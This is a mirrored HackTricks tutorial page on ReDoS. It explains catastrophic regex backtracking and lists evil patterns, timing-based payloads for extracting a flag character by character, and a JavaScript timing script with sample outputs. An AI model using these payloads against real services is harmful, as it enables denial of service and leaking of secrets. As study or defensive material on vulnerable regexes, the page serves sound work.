mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-25 06:00:40 +00:00
109 lines
6.3 KiB
Markdown
109 lines
6.3 KiB
Markdown
# Regular expression Denial of Service - ReDoS
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
# Regular Expression Denial of Service (ReDoS)
|
|
|
|
A **Regular Expression Denial of Service (ReDoS)** happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text they're working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.
|
|
|
|
|
|
## The Problematic Regex Naïve Algorithm
|
|
|
|
**Check the details in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
|
|
|
|
|
|
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
|
|
|
|
An evil regular expression pattern is that one that can **get stuck on crafted input causing a DoS**. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:
|
|
|
|
* (a+)+
|
|
* ([a-zA-Z]+)*
|
|
* (a|aa)+
|
|
* (a|a?)+
|
|
* (.*a){x} for x > 10
|
|
|
|
All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
|
|
|
|
## ReDoS Payloads
|
|
|
|
### String Exfiltration via ReDoS
|
|
|
|
In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**:
|
|
|
|
* In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
|
|
* Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
|
|
* In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
|
|
* In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
|
|
|
|
### ReDoS Controlling Input and Regex
|
|
|
|
The following are **ReDoS** examples where you **control** both the **input** and the **regex**:
|
|
|
|
```javascript
|
|
function check_time_regexp(regexp, text){
|
|
var t0 = new Date().getTime();;
|
|
new RegExp(regexp).test(text);
|
|
var t1 = new Date().getTime();;
|
|
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
|
|
}
|
|
|
|
// This payloads work because the input has several "a"s
|
|
[
|
|
// "((a+)+)+$", //Eternal,
|
|
// "(a?){100}$", //Eternal
|
|
"(a|a?)+$",
|
|
"(\\w*)+$", //Generic
|
|
"(a*)+$",
|
|
"(.*a){100}$",
|
|
"([a-zA-Z]+)*$", //Generic
|
|
"(a+)*$",
|
|
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
|
|
|
|
/*
|
|
Regexp (a|a?)+$ took 5076 milliseconds.
|
|
Regexp (\w*)+$ took 3198 milliseconds.
|
|
Regexp (a*)+$ took 3281 milliseconds.
|
|
Regexp (.*a){100}$ took 1436 milliseconds.
|
|
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
|
|
Regexp (a+)*$ took 723 milliseconds.
|
|
*/
|
|
```
|
|
|
|
## Tools
|
|
|
|
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
|
|
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
|
|
|
|
## References
|
|
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
|
|
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
|
|
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
|
|
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|